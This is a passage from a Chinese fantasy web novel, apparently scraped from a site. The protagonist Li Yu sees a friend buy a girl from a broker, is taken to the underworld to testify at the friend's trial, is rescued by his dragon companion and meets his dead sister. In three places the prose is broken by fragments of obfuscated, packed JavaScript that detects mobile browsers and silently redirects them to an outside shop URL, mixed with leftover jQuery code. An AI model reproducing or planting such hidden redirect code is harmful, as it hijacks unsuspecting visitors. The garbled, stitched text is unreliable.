或许是因为提到了他从未谋面的姐姐,也或许是被婴宁母女的感情触动。李钰今日在木若菱这儿呆了许久,娘跟他讲了许多以前的事情。他听着听着,竟觉得自己似乎从来就是李珠儿,就像从小就在这里长大的一样。 李钰原本的父母对他不是不好,他的情况其实和这一世的姐姐李惠很像,属于天生的免疫力低下。父母不是缺钱的人,也给他提供了很好的居住环境和医疗条件,只是因为工作的关系,不能时常陪伴在他身边。准确的说,其实很少陪在他身边,他最常见到的人不是保姆阿姨就是护工。他相信父母是爱他的,只是感受爱意的时间是那么的稀有和短暂。 而到了这里,不过一年时间,他却得到了毫无保留的爱意以及长久的陪伴,无论他做什么,李家始终有家人等着他。反倒是他自己,像个探索世界的新手玩家,天天出门找新鲜,相比之下却是他冷落了父母,就是詹贵儿也比他陪伴父母的时间多。 李钰深感惭愧,于是在他接来婴宁后,又去秦家商讨,出了银子帮秦吴氏迁好坟。接下来很长一段时间,他都老老实实地去各个铺子上学习经营,李化对此非常欣慰,天天夸儿子上进。 他这边忙着,白行野也继续着自己的修行,偶尔跟李钰一起出门,但大多数时候,要么自己在周边游历,要么就呆在房内修炼。 对此,李钰想到修仙小说里面动辄修个几百、上千年的,也能理解白行野如此努力的原因。而且白行野在李家就算住到李钰死了,也不过几十年的时间,对于白行野来说,也不过只是漫长修炼岁月中短暂的一段经历吧。 偶尔想到这,李钰就忍不住生出些许惆怅。 “李贤弟发什么呆啊,我帐已经付了,就先走了啊。” 李钰抬头一看,说话的人正是王彦,他今日带朋友来客栈吃饭,而李钰在店里看账本。两人各有事忙,就只互相打了个招呼,现在看来是王彦已经吃好要离开了。 他放下账本,走了过去,“招待不周,我送你出去吧。” “哈哈,李大公子也太客气,何必还送呢?” 两人插科打诨地聊了两句,走出客栈正要互相道别,就看到街口围着一圈人,里面好像有人在叫卖着什么。 “什么东西?我过去看看。”王彦也是个爱看热闹的,说着就走过去,往那人群里钻。 李钰一看人挤人的,待在原地没动,就只在远处张望,半天也看不清里面怎么回事。可那王彦更是奇怪,钻进人群后,半天没见人出来。 又过了一会儿,人群才渐渐散开。李钰这才看清,王彦此时身边跟了个小姑娘,那小姑娘脸上带泪,看着怯生生的。王彦手上拿了根草标和一张白纸,跟一个一脸麻子的人说了几句话,麻子脸就留下小姑娘,拿着钱走了。 李钰刚要过去问问什么情况,只见王彦叫了个小厮过来,让他把那小姑娘领走了。王彦这才又回到客栈前,向他摇了摇手上的草标说:“原来是人牙子,正好你嫂子嫌家里都是些婆子,早让我看个机灵的丫头买回去,谁知今日出门就刚好遇到。” 听到这话李钰皱了皱眉,在古代有人牙子这样的行当,不同于人贩子,人牙子是受官府认可的合法买卖人口的中介人员。有些家里实在是穷的,卖儿卖女并不是什么罕见之事,就连李家也有这样买来的仆人。 可李钰第一次见到买人的场景,心里还是有点膈应,但当下的社会就是如此,官府都认可的东西,不可能靠他有什么变化。 他只能说:“看那女孩哭得挺可怜,人又小,你可别欺负人家。” 王彦眼睛一瞪,“你把我当什么人了?真是你嫂子要的!我在你嫂子眼皮子底下敢做什么?” 李钰也不好多说,只能点点头。 王彦拍了拍他的肩,“知道咱们李大少爷心善,放心吧,你去打听打听我们家,从来就没出过虐待下人的事,可不像有的人家。” 听他意有所指,李钰顺口就问:“你指谁呀?” 王彦看看四周,凑近李钰说:“还不就是那南三复家里,怎么,你没听过?虽说没出过人命官司,可那南三复对他的小厮动辄打骂,在私塾都不收敛,在家不知怎么威风呢!” 李钰想了半晌南三复是谁,好不容易才想起来,那不就是之前茶会上挑他刺儿的南公子吗? 王彦看他恍然大悟的样子,说:“想起来了吧?就他!仗着自己家里大伯在京城里做官,眼睛都长头顶上了,眼里就没别人,行事做派张狂得很!可人家自己家里人都不管,别人更管不着了。” “行了,我还有事,咱们下次再聚。”王彦说完一抱拳便告辞了。 等人走了后,李钰回到客栈,又想起那个看起来有点可怜的小姑娘,他摇了摇头,这事还真是他管不了的。而且他虽和王彦算不上多亲厚,但好歹也有些了解,不是个什么有坏心的人,平日里对朋友也仗义,听别人说他家娘子是河东狮,想来小姑娘去他家当婢女应该也没什么问题。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170862|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李钰没想到的是,这一次他却想错了,甚至之后还牵连上了他!此事暂且按下不表。 又过了几日,李钰回家刚进门就被李化叫了去,他以为爹是要问铺子上的情况,结果李化却告诉了他一个意想不到的消息,丁知县要调任了。 “是三年任期满了吗?”李钰忙问。 “是啊,任期已满,要么升迁要么平调。”李化说着又叹了一声,“可你知道丁知县为官清廉,做事一板一眼,可从不搞官场上下打点的那套,听说要调任到其他县去,继续做知县。” 李化又压低了声音,“还是因为有白莲教的案子,丁知县有功在身,不然恐怕平调都难。” 李钰一时五味杂陈,官场之事真不是看起来那么简单。可这不是他们平头百姓可插手的,此时他更在意自己的好师弟。 “那这么说他们要搬走了?”李钰有些失落,他最近太忙,都没见师弟几面,难道再见就是要去道别吗? 李化哪能不知儿子在想什么?安慰了几句,让儿子这两天也歇歇,多去见见丁再昌。 李钰垂头丧气地答应下来。 可到了第二天,他还在准备去拜访的礼品,丁再昌就上门了。李钰亲自去迎接,将他带到自己房间,刚坐下就开始唉声叹气。 丁再昌看了好笑,说道:“看来师兄已经听说了?” 见他毫无不舍的样子,李钰瞪了他一眼,继续愁容满面。 “好啦师兄,我爹调任他只带上我娘,不带我!”丁再昌笑呵呵地说。 “真的?!”李钰双眼一亮。 “自然是真的,我之前不是跟你说过吗?县试在即,我爹怎么可能在这个时候还让我跟着舟车劳顿,在新的地方应考?他让我还是在这边好好读书,家里留下老管家和一个下人照顾我。” “太好了!”李钰高兴道,突然想起丁知县是调任又不是升迁,不该表现得如此开心。于是立刻收敛神色,不好意思道,“你看我,我只是想到还能常常见到你挺高兴的,你自己在家能适应吗?” 丁再昌道:“我又不是小孩,有什么是不适应的?最近每天温书也没时间到处跑。若不是因为我爹的事,怕外面风言风语传到你耳朵里让你担心,我也不跑这一趟。正好来了,你快跟我说说,最近有没有什么新鲜有趣的事?” 还是那么爱听故事,李钰自然满足他,把王子服后续的事跟他讲了。 听得丁再昌是抚掌大笑,继而又抱怨道:“怎么都不跟我说,让我也能见证一下。” “不是你自己说你、方平兄还有秋隼最近都要好好读书吗?我哪好拿这些事情去打扰你们,你听听就行了,没必要为这些事浪费时间。” 丁再昌想想也是,只是没有见到那三位绝色美女还是有些遗憾。 李钰瞧他那傻样,立刻摆出师兄架子教训道:“想什么呢?你也要跟王子服学?” “我可没有!”丁再昌矢口否认,“只是爱美之心人皆有之,我想欣赏欣赏而已。” 两人最近各自都有事忙,难得一见聊得十分开心,出去吃过晚饭后,才分别尽兴而归。 等李钰躺在床上想着白行野前两天说出去看看,应该也快回来了吧?他算着时间,昏昏欲睡之际,却没想到,此时却有危机渐渐靠近。 寂静的夜里忽然响起一阵铁链碰撞的声音,由远及近,向李钰的房间逼近。 43.入地府 这声音,在深夜里格外明显。李钰猛地睁开眼,翻身坐了起来,只见詹贵儿不知什么时候已经如守护者般站在他的床前。小孩身体紧绷,面色极为严肃,似在严阵以待什么可怕的东西靠近。 “怎么了?这声音怎么回事?”李钰紧张道。 詹贵儿紧紧盯着门外,声音却带着紧张,“鬼差。” 李钰大惊失色,还不及细问,房门便无风自开,霍然敞开的门扉撞出一声巨响,可好像除了李钰和詹贵儿并无他人听到。 门口站着一个黑影,仔细一看,是一个穿着黑色衙差服饰的人,那人除了脸色苍白了一些,看起来与那县衙里的衙役们也没什么区别。不过他手里拿着一段长长的铁链,那铁链的前端赫然垂着一个乌黑的铁鈎,这看起来极为熟悉,与当日西峰寺的夜叉手里拿的别无二致,是勾魂索! “你你你要干什么?!”李钰大声质问,实则底气不足,已经两股战战,他才在这边多活一年,怎么就又要死了吗? 可如今白行野正好不在,只有詹贵儿这个小鬼护在他身前。 那鬼差不答话,而是走进屋里,沉声道:“李钰,随我走一趟。” 李钰还未答话,詹贵儿鼓起勇气大声道:“李钰命数未到!你如何敢来勾魂?” “小贵儿……”李钰感动万分,可他仔细一看小孩也在微微发着抖。 那鬼差看也没看詹贵儿,而是直直盯着李钰,“楚江王殿下有令,你一朋友被告强抢民女,如今已在地府对峙,他说你可以为他作证,如今我便带你下去,做完证自会放你回来。” “你不能带他走!”詹贵儿依旧坚持道。 李钰则是一愣,他哪有什么强抢民女的朋友?他更不知道这跟他有什么关系?但是小贵儿定是斗不过鬼差的,如果真如鬼差所言,只是让他去作证,或是有什么误会,他去解释清楚了,是不是就能回来了? 想清楚后,他将詹贵儿拉到身前道:“不要冲动,你打不过他的。如果只是去作证的话,我便跟他走一趟。你留在家里安抚好阿翁阿婆,如果我太久没回来,就等行野回来后再让他想办法。” 詹贵儿都要急哭了,“可是哥哥……” 鬼差“啧”了一声,“只是去作证,要不了多长时间,走吧。” 他话音一落,李钰只觉身子一轻,往鬼差身旁飞去。他扭头一看,自己的身体已经软倒在床上。 詹贵儿大喊:“哥哥!” 李钰冲他摇了摇头,“待着别动,记住我说的话!” 小孩含泪点点头,眼睁睁地看着鬼差领着李钰飞掠而去。 李钰忐忑不安地跟在鬼差身旁,他们此时明明是在走路,但四周的景物却飞速地向后退去。 原来做鬼是这种感觉吗? 看了看身旁的面无表情的鬼差,李钰强装冷静,问道:“鬼差大哥,到底是谁让我去作证啊?我都不知道我有哪个朋友强抢民女啊,要是知道是这种人,我早都不跟他做朋友了,还一定去报官!” 鬼差瞥了他一眼,目光中带着点不屑,但也不是那么的冷漠,“人家女孩父亲刚死,头七回家一看,家里洗劫一空,女儿不知所踪,等再找到孩子时,就看到其女在你那朋友家做婢女。好好一个良家女刚死了爹就给人去做仆人,哪个父母能忍?他便在楚江王那里告了那家主人一状,你那友人魂被勾去了地府,去了又大喊冤枉,还说此事经过你都看到了,这不就叫你过来吗?” 李钰一听这话哪还能不知道他这个朋友是谁?该死的王彦!可他又怎会知道其中还有这样的隐情? 鬼差见他面色一变,哼了一声,“看来你确实知道,那就没抓错人。” 李钰连忙解释,“可是我也不知道那女孩是良家女,还有这等悲惨的经历,我若是知道我定会阻止他的!” “你这些话留着去和楚江王殿下讲吧。” 李钰欲哭无泪,在心里将王彦骂了个狗血淋头。 一路上他想方设法地和鬼差套近乎,发现这鬼差虽然看着冰冷,但实际上还是保留着些许人的习性,话说的多了以后,也渐渐不再对李钰横眉冷对。 “鬼差大哥,你说的那个楚江王是谁呀?” 鬼差狐疑地看了他一眼,“你这人也太孤陋寡闻了,十殿阎罗之一的楚江王你都不知道?” 李钰惭愧,他确实不知,倒是有听说过十殿阎罗,可他也就知道个阎罗王。 见他不似撒谎,鬼差好意解释,“楚江王殿下乃是阎罗十殿的第二殿之主,执掌活大地狱。” “火大?他脾气很暴躁?”李钰不耻下问。 “活大地狱!也叫剥衣亭寒冰地狱!”鬼差翻了个白眼继续道,“专管伤人肢体、奸盗杀生之罪。你那朋友逼良为奴,是极其恶劣的盗取人身自由、助长奸恶的罪行!若罪名成立,那抽筋、割心、粪尿泥小地狱是必去的,自然寒冰地狱也少不了。” 听听这些个小地狱的名字!王彦啊王彦,你这是闯下的什么大祸? 可回想当日,那小姑娘虽然面上带着泪水,但是跟王彦小厮走的时候并不见不情愿,是年龄小害怕,还是有别的缘故? 也不知走了多久,四周的景象渐渐变了,李钰明显感觉到这里已经不在人间。四周昏暗,不见日月星辰,通过一座众多阴差把手的城楼后,又是一段长长的路。 这条路上,除了他们俩,还有其他的鬼魂和鬼差。有的鬼魂跟他一样,只是跟随在鬼差身后;而有的鬼魂则是被鬼差用勾魂索勾住后脖颈或肩胛骨拖行,想来是那些对人世执念太深,不愿入地府的鬼魂。 李钰看得一阵唏嘘。 渐渐的,路的前方变得亮堂了起来,昏黄的天色下有一座高台矗立,黄土为底,巨石堆叠的高台高耸入云。台前有一块巨大的石碑竖立,上有苍劲有力的三个暗红大字“望乡台”。 数支队伍依次排序登上望乡台,在高台之上远眺;也有不少鬼魂从上面下来,或涕泗横流,或掩面痛哭。 “大哥,这望乡台是什么地方?”李钰好奇问道。 “顾名思义,你可以在望乡台上回望故土,看看家人。”鬼差睨了他一眼,“你也去看看吧,要是你也参与其中,恐怕就一并定罪了,到时候可就没机会再带你来望乡台了。” “我没参与!”李钰立刻否认,接着扯着嘴干笑,“大哥,你真会开玩笑。” 然而这次鬼差并没回答他,而真是领着他来到望乡台下,他跟维持秩序的鬼卒们交代了几句话,那些鬼卒便让开一条路让他上去。 “还不快去!”鬼差大哥道。 对于他的一番“好意”,李钰只是无奈,但他不敢反驳,也很好奇现在家里人如何?便抬脚果断踏上望乡台。大概是因为灵魂很轻,即便望乡台很高,台阶很长,但爬起来丝毫不费力。李钰加快速度来的望乡台顶端,上面已经聚集着很多鬼魂,以及把守的阴差鬼卒。 他寻了个空位往远方看去,天边泛黄的云层就像破开了一道光,那光幕之中居然真的浮现出李宅里的场景!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176056|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时,阳间已是白日,他娘守着他的身体一个劲地掉眼泪,他爹焦急地踱着步。但比起他当初穿来时那番哭天抢地的场景要好多了,想必詹贵儿已经把事情经过解释清楚了。 可小贵儿人呢? 正奇怪着,只见房门外冲进来一个人,正是白行野!詹贵儿正紧紧跟在他身后。 白行野一个箭步冲到他床前,不敢置信地轻轻摇了摇他的身体,李钰魂都不在了,自然是给不了一点反应。 李钰看到白行野眉头紧锁,双唇抿成一条线,脸上的表情似痛似怒。他拿出一个药瓶,倒出一粒药丸塞进李钰口中。 见到这个场面,李钰摇摇头,他魂都在地府了,吃药干嘛? 又见白行野将他的身体平放回床上,回头跟李化和木若菱说了些什么,李钰紧盯着他的嘴型,然后一个字都没看懂。 “白行野快别说了,你快来救我啊!”李钰想到如今身处地府,不由在心中大喊。 这时,白行野却突然抬头,只见他的眼神穿过光幕直直地看向李钰,仿佛透过了生死的界限,直接看到了在望乡台上之人。 李钰被那眼神震住,呆站在原地,他看见白行野嘴唇开合,吐出两个字。 这一次,李钰准确地辨认出来了,他说:“等我。” 白行野真的能看到他吗?还是巧合?他们根本不在一个地方,甚至可以说是不在一个世界。 “走吧,差不多行了,别耽误时间了。”身后传来鬼差的声音。 像是猛然惊醒一样,眼前的光幕瞬间消失了。 无奈,李钰只能跟鬼差走下望乡台。 这之后,鬼差发现这个叫李钰的,刚刚一路上问个不停,上了一次望乡台后,忽然变得沉默了。他摇摇头,许多鬼魂都是这般,最后看了一眼阳世家里,心情起伏都会很大。 鬼差也没主动跟他讲话,径直将李钰带去了第二殿。 李钰一路机械地跟在鬼差身后,都没心思注意自己已经进入活大地狱,放眼望去各种刑场连成一片广袤的炼狱。直至来到一处宫殿前,那巍峨之势和冰冷寒意让他打了一个激灵,这才好好看了看自己来到哪儿了? 冥阙森罗,铜柱玄门,黑沉巍峨的殿宇极具压迫感,即便已经身处地府,仍被这一处气势森然又磅礴的宫殿所震慑。 宫门牌匾上书普明宫,这就是楚江王殿下的宫殿? “我先去通传一下,你在此等候,等到了审你朋友的时候自会有人叫你。”鬼差吩咐完就走了,宫门前把守的鬼卒不少,压根不怕李钰会跑。 李钰心里一团乱麻,他想着大概要等很久吧?直接在宫门前蹲了下来。 结果才没过一会儿,他的屁股就被人踹了一脚,他愤怒地扭头一看,还是刚才那个鬼差大哥。 “时间正好,进去吧。”鬼差又嘱咐道,“到了楚江王殿下面前可别像现在这么没规矩。” “……哦。” 李钰站起来,紧张无比地跟着鬼差进去,人间的帝王他都没有见过,就要见阴曹地府的王了。 一进殿内,以李钰有限的人生经历判断,这跟县衙公堂还颇有些相似,不过是放大了很多倍的公堂。且两旁都有待命的差役们,不过鬼差们是手执铁链棒锤、斧钺钩叉,有的鬼差还算有个人样,有的却是青面獠牙,和之前遇到的夜叉差不多。 不过,这都不算什么,更可怕的是端坐堂上,那有着小山一样庞大的身躯,身上穿着官服的人,难道就是楚江王吗? 44.地府公堂 因为是神,所以体型也不一般?李钰自认为没有巨物恐惧症,但是看到面色严肃,横眉竖目的巨型神灵,他也忍不住腿一软直接跪了下去。 难怪民间神像都造得大,原来是写实派啊! 他磕磕巴巴地说:“参见楚江王……殿下。” 然而楚江王还没开口,同样跪在殿前的人却开始哭喊起来:“贤弟是你!贤弟啊你终于来了!你要替我澄清啊,她是自愿卖身的啊!” 李钰听到熟悉的声音猛地抬头,就见王彦一把鼻涕一把泪地哭求他。 “啪”的一声,一根鞭子狠狠抽在王彦身上,打得他又是一阵哭嚎。 打他的鬼差斥道:“在楚江王殿下面前还敢喧哗,没让你说话就闭嘴!”说罢又是一鞭子下去,王彦捂住嘴不敢再叫。 李钰见了王彦本想破口大骂,见此情形也立刻谨慎起来。王彦更是只能用求救的眼神望着李钰,披头散发,鼻涕眼泪糊了一脸,看起来实在是丑态百出。 楚江王身旁侍立的一位官吏打扮的人开口道:“今有男鬼卫东,状告王彦强买其女卫霜儿为婢,逼良为奴。因卫霜儿在阳间已无亲眷做主,特此于地府审理此案。” “王彦,你买良女为奴婢,此乃实情,你还有何可辩驳?” “判官大人明鉴,那女孩虽是良民,但她确实是自愿卖身的。当日买她的时候,她的叔父说此女父母俱亡,他又养不起多的人,和那女孩说好了卖到富贵人家做婢子,好歹有口饭吃。”王彦将那日情形说来,又道,“我那时候可是一片好心啊!我也问了那小姑娘,她自己也愿意的!” “你放屁!”跪在一旁的一个汉子大声道,“我家里亲戚都死绝了!哪里来的什么劳什子叔父?若不是我头七之时回去看,我都不知道我女儿竟在你家为奴为婢!” 王彦又大喊冤枉,“真是如此!我可是签了契的!李钰当日就在一旁看着,那女孩绝没有被强迫,我更无强行拐带!后来带回去,我家娘子还问过她,她也说卖她那人确实是她远房亲戚。” 判官眼睛微眯,问道:“你签的是什么契?” 此问一出,王彦瞬间噎住,半晌才小声说:“白……白契。” 买卖奴婢都有两种契约,一为白契,一为红契。一般情况下,在民间白契和红契都是通用的,可只有红契才算是在官府登记过的契约,一旦发生什么买卖纠纷,官府也只认红契有效。 “你难道不知白契只是私人签订的契约,连你们人间的官府都不认?”判官厉声质问道,“就算你说她是自愿卖身,那也得有她父母首肯,这个不知来历的远房亲戚算是什么?你如何就敢买?” “这这这……”一声声质问下,王彦无从辩驳,又不敢再大声哭嚎,只能又侧身去央求告状的卫东,“大哥,你女儿确实是自愿的,我们也没有对她不好啊,她如今穿的吃的哪样不比以前好?求求你大人有大量,就放过我吧!” 卫东啐了他一口,扭过头去不搭理。王彦又转身去求李钰,“贤弟,你帮我说句话,那天你看到了的,那小姑娘也没人逼她,自己就跟着我家小厮回去了。你嫂子对她也没有哪里不好,看她年纪小,让家里婆子一点点耐心教着呢。” “巧舌如簧。”判官开口道,又对李钰问道,“你且将当日情形细细说来。” 听了这么一会儿,李钰现在已经搞清楚情况了。他就说,这王彦除了爱玩了点,真没听说过有什么出格之举,虽说签白契这事是有些疑点,但他应当也是受人蒙骗。 毕竟涉及王彦一条人命,他也不敢隐瞒,将当日的细节一一道来。 “……因为我当时不在近前,那小女孩虽然面上带泪,但跟着王家小厮走的时候很听话,非说逼迫的话看起来确实不像。” 卫东一听不乐意了,骂道:“你们都是一丘之貉,当然帮自己人说话!我们家里虽然穷,好歹也是留下薄田房产的,我女儿年岁是不大,但因为从小就跟着我一起下地干农活,她一个人在家养活自己肯定是可以的。哪怕日子苦一点,撑过这一两年也能嫁人了,何必把自己卖给别人家做奴仆,更何况她爹我头七都未过!” 听其说的振振有词,李钰都有些疑惑了,这里面到底是哪里出了问题?他想了想道,“大叔,你们家真的没有什么亲戚了?对于那个卖她的叔父,你就没有什么线索吗?” 判官斥道:“让你来当证人的,不是让你来断案的!说完你的证词就好好呆着!” 李钰缩了缩脑袋,不敢再多话。 卫东在气头上,倒紧跟着回了话,“我们家人丁少,跟村里人也都不亲近,自己过自己的日子,哪来的叔父?定是这两人见我女儿孤身一人,将她拐去做奴婢的。” 怎么屎盆子还给他也扣一个?李钰无语。 “我没有!当天买那小姑娘的时候好多人都看到了,那个自称叔父的人长着一脸麻子,很好认!我要不是看他要价实在便宜,我也不敢冒险签白契,就为占这么一点便宜,谁知道把我自己的命也搭进来呀。”王彦一时心急,暴露了自己明知买卖有异,因为贪图便宜还是买下女孩的行径。 判官怒道:“那就是承认知法犯法了?罪加一等!” 王彦双眼一翻,要不是他此时已经是鬼魂了,简直就要晕过去了。 “麻子……”卫东眉头一皱,重复道,“麻子……难道是张二狗?” “你说这张二狗是何人?”判官问道。 “禀大人,张二狗硬要说起来也算是我家亲戚,但是已经隔了好几代关系了。他在我们村是出了名的泼皮无赖,我们跟他很少来往,难道是他趁我死后,将小女卖了去?” 卫东越想越觉得有这个可能,忙磕头请求道:“求楚江王殿下、判官大人,将那张二狗捉来一问究竟!” 好嘛,这么个事儿,一时半会儿还断不明白了? 判官摆摆手让人把王彦和卫东都先带下去,王彦被拖走前还一个劲儿地瞅李钰,哼哼着求救。 看得李钰都想上去打他一顿!而且为什么还不让他这个证人走? 这时,全程都没说话的楚江王开口了,浑厚低沉的声音从高处传来,“你就是李钰?抬起头来,让本王看看。” 李钰莫名其妙,但还是依言抬起了头。 楚江王端详他片刻,铜铃大的眼睛看得李钰发怵。 “像,确实是像。”楚江王点点头。 这是在说什么呀?像谁? 就在此时,殿外忽然狂风大作,一声龙吟响彻地府,随即就听得外面一阵激烈的呵斥和打斗之声。 “何人在外喧哗?”判官喝道。 一名鬼卒从殿外跑进来,“禀大人,外面来了一条恶龙硬闯普明宫!” 李钰腾地站起身,是行野来了! 可这时他丝毫没有高兴,而是陷入了极大的恐慌。在看到楚江王之前他是想求救,可进了这幽冥地府,真正见了十殿阎罗之一的真容,他才想到白行野再是如何厉害,又怎能与神灵相抗?何况这里可是地府! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182025|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而且他也没想到行野胆子如此大,本以为他会用什么迂回的策略,没想到是硬闯啊! 李钰忙面对楚江王又跪了下来,“楚江王殿下,那龙是我的朋友,他不知内情,只是好心救我,还请殿下不要责罚他!” 他知道自己没那么大面子求情,但无论如何,求了再说。 楚江王却“咦”了一声,低声道:“纯阳气息?” “就让他进来吧。”楚江王道。 那鬼卒领命而去,白行野一身风尘仆仆直奔进殿,见到李钰跪在地上,一把将他拉起来,神色紧张地将李钰上上下下看了一通,“没出什么事吧?” “我没事,你呢?你怎么就在外面跟他们打起来了?” “他们不让我进来,我当然只有打进来。”白行野说得理所当然。 李钰看他真不畏惧,想来是有成算,无奈地说:“这是在别人的地盘上,咱们还是低调一点吧。” 白行野见他确实没事,还能打趣他,面上神情才微微放松。 “大胆!你们当这里是何地?还在这里打打……”判官喝道。 李钰觉得他想说“打情骂俏”可又说不出口,李钰自己也奇怪,一时情绪激动竟也不觉得害臊。 白行野往前一步,将李钰护在身后,“我听说你们是找李钰来做证人的,现在案子结束了吗?结束了我就要带他回去了。” 这丝毫没有商量的语气,李钰听得直捏汗,这小龙到底什么来头?在阎王殿前也不怵? 楚江王却没生气,反而哈哈大笑起来,那巨大的身体随之抖动,李钰觉得脚下的地砖都在震动。 这是何意呀? “原来是孚佑帝君的弟子,我说怎么有一股纯阳之气。” 忽悠帝君是谁?李钰的脑子里堆满了问号。 白行野眸光一闪,收敛了身上的威压,拱手行了一礼道:“原来殿下认识家师?小辈名为白行野,今日事发突然,关心则乱,才至行事无状,实在是失礼,还望殿下不要计较。” 一句“关心则乱”,李钰感觉自己又飘飘然了。 “无妨。”楚江王道,“只是这李钰还不能走。” 白行野顿时身体又紧绷起来,抓住李钰的手,像是随时准备带他跑。 楚江王却不疾不徐地问:“李钰,你还记得你姐姐李惠吗?” 谁能想到此时此刻,会从楚江王嘴里听到他姐姐的名讳?李钰和白行野对视一眼,都摸不透其中缘故。 李钰只能老实回道:“家姐去世的早,我未曾见过。” “难得来一趟,你且去见见她吧。小乙,你带他们去看看世子妃。”楚江王随便挑了个鬼差安排道。 世子妃?李钰心中大惊,这世子妃是指李惠?地府的世子妃?! 这信息实在太过震撼,连白行野也是一脸错愕。 谁能想到莫名其妙被带来阴曹地府作证,结果最后成探亲了! 两人正要跟随那个叫小乙的鬼差走出殿外,楚江王又叫住了白行野,“回头代我向你师父问个好。” 白行野应下,然后才规规矩矩行礼退下。 出了大殿门,李钰立刻就问:“你师父是忽悠帝君?为什么叫这么个名字?” 白行野弹了下李钰的额头,拉过他的手在他手心一笔一划地写出“孚佑”二字。 “孚佑帝君啊。”李钰点头又摇头,“还是不认识。” 白行野看他的眼神如同在看一个文盲,“就是吕祖,吕洞宾。” 45.姐姐 李钰瞪大了双眼,他不知道孚佑帝君,还能不知道吕洞宾?这位不仅是八仙之一,还是道教地位举足轻重的纯阳祖师,吕祖!他在现代去道观拜拜的时候,都拜过的大人物!据说是万事都管的全能保护神,民间关于他的神话传说更是数不胜数,白行野的师父居然就是他?! “难怪你之前说你师父不让你打着他的名号在外行事,原来是这么出名的神仙啊!”李钰喃喃道,已是震惊到无以复加了。 白行野拉了拉他的手,“别发愣了,先去看你姐姐吧。” “嗯。”李钰呆滞地回道。 她姐姐还是地府的世子妃呢,那不就是楚江王的儿媳妇,他这人脉是不是广得太离谱了! 原来这宫殿中,大殿是审判的公堂,可是殿后却是楚江王及其家人的居所。内部如同皇宫一般,桂殿兰宫,雕梁画栋,走过长长的回廊,来到一处华丽的宫院前,小乙跟门口的婢女交代了一声,婢女就进去通传了。不一会儿,便回来就让他们俩人进去。 李钰想起他娘对他姐姐的形容,不禁充满了期待和好奇。 走进院中,一阵香风扑鼻,院内种植着各色花草,姹紫嫣红的分外好看。走入正殿,李钰一眼就看到了坐在里面的那位美貌贵气的女子,云鬟雾鬓,珠翠罗琦,长相还真与李钰有几分相似,只是轮廓更加柔和,肤色更为白皙。她的身旁数名婢女侍候在侧,看来他姐姐如今过得也是锦衣玉食的日子,这下爹娘应该放心了。 李惠面上带着和煦的微笑,见二人进来,先是审视般打量了一番,然后目光就落在了李钰身上。 她站起身走了过来,亲切地握住李钰的手,“原来你就是珠儿弟弟啊?” 李钰脸上的笑容忽地凝固,她叫的是……珠儿,他怎么忘了?他不是李珠儿,他是李钰呀。真正的李珠儿已在地府走了一遭,身在地府的姐姐难道不知道? 听到这声“珠儿”,白行野也才反应过来,李钰的真实身份,楚江王乃地府一殿之主岂会看不破?面前这个女人又怎会不知?他猛地出手环住李钰的肩膀,急速闪身后退至门口,与李惠拉开距离。 李惠一怔,继而又恢复了笑容,“看来你们已经反应过来了。”说完,便让婢女们都先下去,走在最后的婢女关上了门。 李惠转身又坐回了主位上,已经收起了方才表演出来的亲切,慢悠悠地说:“不必如此紧张,坐下说吧。” 两人都不知其意,李钰拍了拍白行野的手,冲他点点头。白行野放开他,两人都先坐到了一旁的椅子上。 李惠一只手托着下巴,一手摩挲着手串,云淡风轻道:“你的身份我早就知道了,毕竟我弟弟转世的时候,还是我去送的。” 李钰和白行野俱是浑身一震,不知如何接话。 过了好一会儿,李钰才开口:“那你为什么还要见我?” “我在这地府也呆了快二十年了,也见过不少奇人异事,你这样的界外之人,我虽没有亲眼见过,但也听人提过。” 李钰的手不自觉地握紧,他这样的穿越者,原来不止一个? “虽然也不知道你们这样的人是从哪里来的?但是个人的影响力毕竟有限,若是并不会造成什么不好的影响,此界鬼神也自然就无意理会。况且,当初我那便宜弟弟确实是已经死了,你才借了他的尸身,我对你也没有什么不好的观感,你就安心吧。” “是世子妃大度。”李钰谢道。 李惠不在意地笑笑,“不必介意,我那弟弟也不过是个讨债鬼,我偶尔向相公打听阳间的事,他说反倒是你来了以后爹娘挺开心的。” 没有想到当日他穿越至此借尸还魂,居然早就被这么多人关注到了。 而李惠提到爹娘,他算是明白了为什么明知他不是自己弟弟,李惠还想见他。 李钰斟酌了一下,主动说道:“爹娘现在是挺好的,他们虽然年纪大了,但是身体康健。爹非常有精力,常常忙于各个铺子里的事,可也没见他表现出疲累,精神头可足了!娘现在也好,以前不太爱出去走动,但是最近每日都还是会出去晒晒太阳,有时也会去跟赵家娘子和小姐聊聊天,东院的花草也是娘亲自在打理的。” 李惠没有出演打断,只是静静听着。 